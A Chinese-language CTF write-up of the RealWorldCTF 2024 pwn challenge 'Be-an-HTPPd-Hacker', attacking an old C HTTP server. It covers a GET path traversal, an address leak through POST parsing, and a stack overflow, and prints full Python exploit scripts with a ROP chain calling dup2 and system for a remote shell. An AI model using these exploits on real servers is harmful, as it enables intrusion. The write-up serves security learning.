深入解析RealWorldCTF 2024體驗賽PWN方向題目

前言

本報告旨在對RealWorldCTF 2024體驗賽中的Pwn方向題目——"Be-an-HTPPd-Hacker"進行深入解析和講解。該題目涉及一個十一年前的項目,其基於C語言實現了HTTP協議。我們將通過對該協議進行棧溢出攻擊,探索真實世界中的攻擊手法,並從中學習更多有用的攻擊技巧,以提升我們的安全水平。通過理解攻擊原理和方法,我們能夠更好地理解安全防禦的重要性,併爲未來的安全工作做好準備。本報告將詳細介紹攻擊過程,希望能爲讀者提供深入而有價值的學習體驗。

搜索字符串,github找源碼

從IDA中,shift+F12提取,得到字符串,在github進行搜索能夠得到源碼在這:

https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c

具體構造

構造的代碼如下,也就是方法 地址 加協議:

 method, uri, vProtocol

 POST www.baidu.com xxx

源碼如下:

request parseRequest(char buffer[]) {
    char *ptr = buffer;
    char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];
    request req;
    
    sscanf(ptr, "%s %s %s", method, uri, vProtocol); 

    // Somente GET ou POST
    if(strcasecmp(method, "GET") == 0) 
        req.method = "GET";
    else if (strcasecmp(method, "POST") == 0) 
        req.method = "POST";
    else {
        req.method = "INVALID";
        req.vProtocol = "INVALID";
        req.uri[0] = '\0';
        return req;
    }

    // Sera testado futuramente. Por enquanto aceita que é um uri valido
    req.uri = uri;
    
    if(strcasecmp(vProtocol, "HTTP/1.0") == 0)
        req.vProtocol = "HTTP/1.0";
    else if (strcasecmp(vProtocol, "HTTP/1.1") == 0)
        req.vProtocol = "HTTP/1.1";
    else
        req.vProtocol = "HTTP/1.1"; // se nao especificado

    return req;
}

GET路徑穿越

其中get請求,經過簡單嘗試和逆向發現存在路徑穿越,其直接對WWW進行拼接讀取。

    else if (res.status == 200 ) // Ok
    { 
        return sendFile(req, res,connfd);
    }

閱讀源碼發現如上。

路徑穿越漏洞(Path Traversal Vulnerability)是一種常見的安全漏洞,通常發生在Web應用程序或文件系統中。它允許攻擊者訪問他們沒有權限訪問的文件或目錄,通過修改文件路徑來繞過應用程序的訪問控制機制。

不過flag沒有可讀權限,只能通過readflag來執行。

from evilblade import *

context(os='linux', arch='amd64')
# context(os='linux', arch='amd64', log_level='debug')
#GET /index.html HTTP/1.1
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
# rsetup('121.40.246.203',30594)
# pause()
payload = 'GET ' + '/img/../../../etc/profile  HTTP/1.0\x00'
# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'
pause()
sl(payload)

ia()

這是路徑穿越讀/etc/profile。

image-20240213113727166

POST棧溢出

其實不是源碼也分析的差不多了,就是不太理解這個&=的分割,還有會存在一個奇怪的堆溢出,堆溢出主要是因爲malloc大小引起的,在計算

    char *line = (char*) malloc(end-start);

中,end出現小於start的情況。我們可以輸入多個\n來使得heap足夠大,避免溢出的情況。

代碼可以看到:

int sendPostMessage(request req, response res, int connfd, char *linePost){

    char buffer[MAXLINE];
    
    //Prepara cabecalho HTML
    sprintf(buffer, "<html><head><title>Submitted Form</title></head>");
    
    //Cria body
    strcat(buffer, "<body><h1>Received variables</h1><br><table>");

    strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");
    
    char * pch;
    char temp[250];

    pch = strtok (linePost,"&=");

    while (pch != NULL)
    {
        sprintf(temp, "<tr><td>%s</td>", pch);
        strcat(buffer, temp);

        pch = strtok (NULL, "&=");

        sprintf(temp, "<td>%s</td></tr>", pch);
        strcat(buffer, temp);

        pch = strtok (NULL, "&=");

    }

    //Fecha body e html
    strcat(buffer, "</table></body></html>");

    sendHeader(connfd, req, res, "OK", "text/html");

    write(connfd, buffer, strlen(buffer));

    return 0;
}

也就是會根據&或者=分割之後,進行連接到temp。

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其中linepost如下:

void httpd(int connfd) {

                     
    char buffer[MAXLINE]; // Buffer dos dados de input
    char fileBuffer[MAXLINE];
    request req; // Pedido do cliente
    response res; // Resposta do servidor
    struct stat st;
    int n;
    int sizeContent = -1;

    // Le o que está vindo no socket
    n=read(connfd, buffer, MAXLINE);
    
    int i = strlen(buffer);
    char options[MAXLINE];
    int statusRead = 0;
    strcpy(options, buffer);

    while(statusRead == 0)
    {
        if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n')
        {
            statusRead = 1;
        }
        else
        {
            n=read(connfd, options, MAXLINE);
            //strcat(buffer, options);
            //printf("%s\n", buffer);
            i = strlen(options);

            if(options[0] == '\r' && options[1] == '\n' && n == 2)
                statusRead = 1;
        }
    }

    // Faz o parse da requisicao 
    req = parseRequest(buffer);

    char *linePost;

    //Encontra no buffer o tamanho do conteudo  
    if(strcmp(req.method, "POST") ==0)
    {
        linePost = getLastLineRead(buffer);
    }   
//……
char *getLastLineRead(char *buffer) {

    int numLines = 0;
    int start = 0;
    int end = 0;
    int bufSize = strlen(buffer);
    
    int i = 0;
    int j = 0;

    for (i=0;i<bufSize;i++) {
        if (buffer[i]=='\n') {
            numLines++;
        }
    }

    int *vetPositionLine = (int*) malloc(numLines);
   
    for (i=0;i<bufSize;i++) {
        if (buffer[i]=='\n') {
            vetPositionLine[j] = i;//出現回車的地方
            j++;            
        }
    }

    start = vetPositionLine[numLines-3];
    end = vetPositionLine[numLines-1];  
    
    char *line = (char*) malloc(end-start);
    strncpy(line,buffer+end,bufSize-end);

    return line;
}

就是說當他會把\n處作爲起始地址,然後把後面的內容複製到line,這樣就可以泄漏地址了!

使用exp:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)

payload = b'POST '+ b'A'*3982 + b'\n'
pause()
sl(payload)

ia()
  • 調試方法:執行exp後,用ps -ef | grep 'httpd'之後找到最新的進程用sudo gdb -p PID即可。

或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')

image-20240213155519311

最後會從buf+你輸入的數據長度,取一個數據寫到heap中,下次取出來作參數。

image-20240213155710818

主要對此處進行斷點觀察。

image-20240213161418550

可以看到:

image-20240213161556416

由此可以泄漏出libc甚至其他了。

使用腳本:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
sl(payload)

ru("Values</th></tr><tr><td>")
stack = u32(rv(4))
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

ia()

泄漏得到:


---------------
your stack is >>> 0xff9c9f0a
---------------

---------------
your ld is >>> 0xedf40000
---------------

---------------
your libc is >>> 0xedcca000
---------------

構造ROP

從這個部分可以發現,會將原本的內容根據&=分割,然後加上<tr><td>之類的字符串,使得字符串長度變大,會導致棧溢出。那麼我們根據前面得到的基地址,和這個部分漏洞進行ROP構造,從而getshell。

    char * pch;
    char temp[250];

    pch = strtok (linePost,"&=");
while (pch != NULL)
{
    sprintf(temp, "<tr><td>%s</td>", pch);
    strcat(buffer, temp);

    pch = strtok (NULL, "&=");

    sprintf(temp, "<td>%s</td></tr>", pch);
    strcat(buffer, temp);

    pch = strtok (NULL, "&=");

}

做以下構造,經過多次嘗試終於得到了控制返回地址爲xxxx:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A='*1850

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)

payload = b'POST / A\n'+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"="
d(payload)
dpx('len',len(payload))
pause()
sd(payload)

其中xxxx爲任意地址,可以返回!

image-20240213222234157

由於 sprintf的原因,不能輸入\x00和\n之類的作爲rop,我這裏採取加減法的方式進行繞過,先輸入不包含0和0a的字符,後續根據加減恢復到我們需要的字符。

搜索有:

pwndbg> search -4 0x11111111
Searching for value: b'\x11\x11\x11\x11'
libc.so.6       0xf0ca28f4 0x11111111
libc.so.6       0xf0ca2a08 0x11111111
libc.so.6       0xf0ca2a0c 0x11111111

計算得到:
λ ~/ python
Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xf0ca28f4 -0xf0af1000)
'0x1b18f4'#這是libc偏移
>>> hex(0x100000000-0x11111111)
'0xeeeeeeef'
>>>

那麼我們用以上作爲差值計算,其中0x11111111+0xeeeeeeef相加等於0。

構造的ROP如下:

push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)

# dup2($ebx,$ecx)
rop =  pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
    print("stop!")
    pause()

payload = b'POST '+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="

完整exp如下:

from evilblade import *

context(os='linux', arch='amd64')

setup('./pwn')
libset('./libc.so.6')

rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A'*3982 + b'\n'
sl(payload)

ru("Values</th></tr><tr><td>")
stack = u32(rv(4))-0x1ed0a
dx(stack)
ld = u32(rv(4))-0xc0c
dx(ld)
libc = u32(rv(4))-2324400
dx(libc)

close()
rsetup('127.0.0.1',33333)
payload = b'POST '+ b'A='*1850 

#test= cyclic(0x700).decode()
#modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))])
#d(modified_test)


sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; ret
push_eax = p32(libc + 0x00036a7d) # push eax ; ret
pop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; ret
dup22 = p32(symoff("dup2",libc)+0xe)
push_edx = p32(libc+0x00192ac8) # push edx ; ret 
pop_edx = p32(libc+0x00037375) # pop edx ; ret
pop_esi = p32(libc+0x00021479) # pop esi ; ret
push_esi = p32(libc+0x00061c0d) # push esi ; ret
nop_ret = p32(libc+0x0002fce8) # nop ; ret
read = p32(symoff("read",libc))
pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret
add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret)
pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret)
add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret)
# dup2($ebx,$ecx)
rop =  pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef)*2
rop += add_ecx #$ecx = 0
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi

rop += pop_esi + dup22
rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444)
rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2
rop += add_ecx #$ecx=1
rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)
rop += add_ebx #$ebx = 4
rop += push_esi
rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)
if b"=" in rop or b"\x00" in rop:
    print("stop!")
    pause()

payload = b'POST '+ b"A"*2400 + b"\n"
payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp"
payload += b"=" + (nop_ret)*10
payload += rop
payload += b"="


d(payload)
dpx('len',len(payload))
dpx("begin",uu64(pop_esi))
dpx("nop",uu64(nop_ret))
dx(stack)
pause()
sd(payload)

ia()

攻擊結果:

image-20240214140648135

  

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